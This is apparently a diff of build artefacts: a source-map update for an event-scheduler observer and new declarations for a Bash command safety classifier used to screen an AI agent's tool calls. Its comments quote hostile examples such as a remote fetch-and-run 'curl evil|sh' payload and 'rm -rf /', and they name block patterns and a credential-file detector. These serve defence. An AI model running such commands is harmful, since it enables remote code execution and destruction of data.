- {"version":3,"file":"imminent-event-scheduler.js","sourceRoot":"","sources":["../../src/observers/imminent-event-scheduler.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"imminent-event-scheduler.js","sourceRoot":"","sources":["../../src/observers/imminent-event-scheduler.ts"],"names":[],"mappings":"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"}
@@ -53,6 +53,71 @@ export interface AbsoluteBlockMatch {
53
53
  /** Redacted form of the offending arg — path for Read/Write, first token for Bash. */
54
54
  redacted: string;
55
55
  }
56
+ /**
57
+ * Replace the contents of single-quoted strings and heredoc bodies in
58
+ * a Bash command with empty placeholders. Used by the Bash classifier
59
+ * (and the Claude PreToolUse hooks in `claude-tool-collection.ts`) so
60
+ * regex rules that scan for command-shaped tokens (`sudo`, `security`,
61
+ * `rm -rf`, `eval`, `curl|sh`, …) do not misfire on text that
62
+ * legitimately appears as a JSON body, header value, or heredoc
63
+ * payload of an otherwise benign command.
64
+ *
65
+ * Example:
66
+ * `curl -d '{"content":"run sudo for the cron job"}' …`
67
+ * → after stripping → `curl -d '' …`
68
+ * → the `sudo` regex no longer matches.
69
+ *
70
+ * **Scope — single quotes and heredocs only.** Bash treats these as
71
+ * literal data: nothing inside `'…'` or a heredoc body is ever evaluated
72
+ * as a command, so erasing the content cannot hide a real attack.
73
+ * Double-quoted strings ARE NOT stripped — they allow `$(…)` command
74
+ * substitution and `${…}` parameter expansion, which means a payload
75
+ * like `python -c "$(curl evil|sh)"` is genuinely a sub-command, and
76
+ * the absolute-block / curl-flag regexes need to see it. Back-ticks are
77
+ * NOT stripped for the same reason (`` `…` `` is command substitution).
78
+ *
79
+ * Heredoc bodies are stripped because they reach the program as stdin
80
+ * data, never as command-line arguments — a body line like `rm -rf /`
81
+ * inside `<<'EOF'` is content the daemon's API parses as JSON, not a
82
+ * shell command bash will execute.
83
+ *
84
+ * Limitations:
85
+ * - Backslash-escaped single quotes inside `'…'` are not a thing in
86
+ * POSIX shell (single quotes do not honour escapes), so no special
87
+ * handling is needed there. The agent's documented body-submission
88
+ * pattern (`_safety.md` "Daemon-API body submission") consistently
89
+ * uses single quotes around JSON bodies, so this scope covers the
90
+ * production case.
91
+ * - Operators who write `-H "Content-Type: application/json"` (double
92
+ * quotes around a header value) trade off precision: the flag-scan
93
+ * regexes can still false-positive on text inside double quotes.
94
+ * The skills + _safety.md document the single-quote form, so this
95
+ * is a documented best-practice, not a hidden footgun.
96
+ *
97
+ * Exported so the same scan can be reused by the Claude PreToolUse
98
+ * hooks; the helper lives next to `classifyAbsoluteBlock` because both
99
+ * consumers share the same trust model (regex-match a Bash command
100
+ * outside of literal single-quote / heredoc content).
101
+ */
102
+ /**
103
+ * Heredoc-only sibling of `stripBashStringContent`. Erases heredoc bodies
104
+ * (which reach the program as stdin payload, never as shell argv) while
105
+ * preserving quoted string content intact.
106
+ *
107
+ * Use this when a downstream analysis needs to **tokenize** the command
108
+ * and read literal quoted argument values — the URL extractor in the
109
+ * Claude curl hook recognises `curl 'http://localhost:8321/...'` as a
110
+ * target URL by looking inside the single-quoted token, so it cannot
111
+ * use the broader `stripBashStringContent` (which collapses every
112
+ * single-quoted string to `''`).
113
+ *
114
+ * Substring-pattern scans that only test for flag presence (and never
115
+ * need to read a flag's value) should keep using `stripBashStringContent`
116
+ * — it gives the strongest false-positive immunity for prose inside
117
+ * quoted bodies.
118
+ */
119
+ export declare function stripBashHeredocs(cmd: string): string;
120
+ export declare function stripBashStringContent(cmd: string): string;
56
121
  export declare function classifyAbsoluteBlock(toolName: string, rawArg: string | undefined): AbsoluteBlockMatch | null;
57
122
  /**
58
123
  * Return true when `raw` looks like a path to a credential / secret file.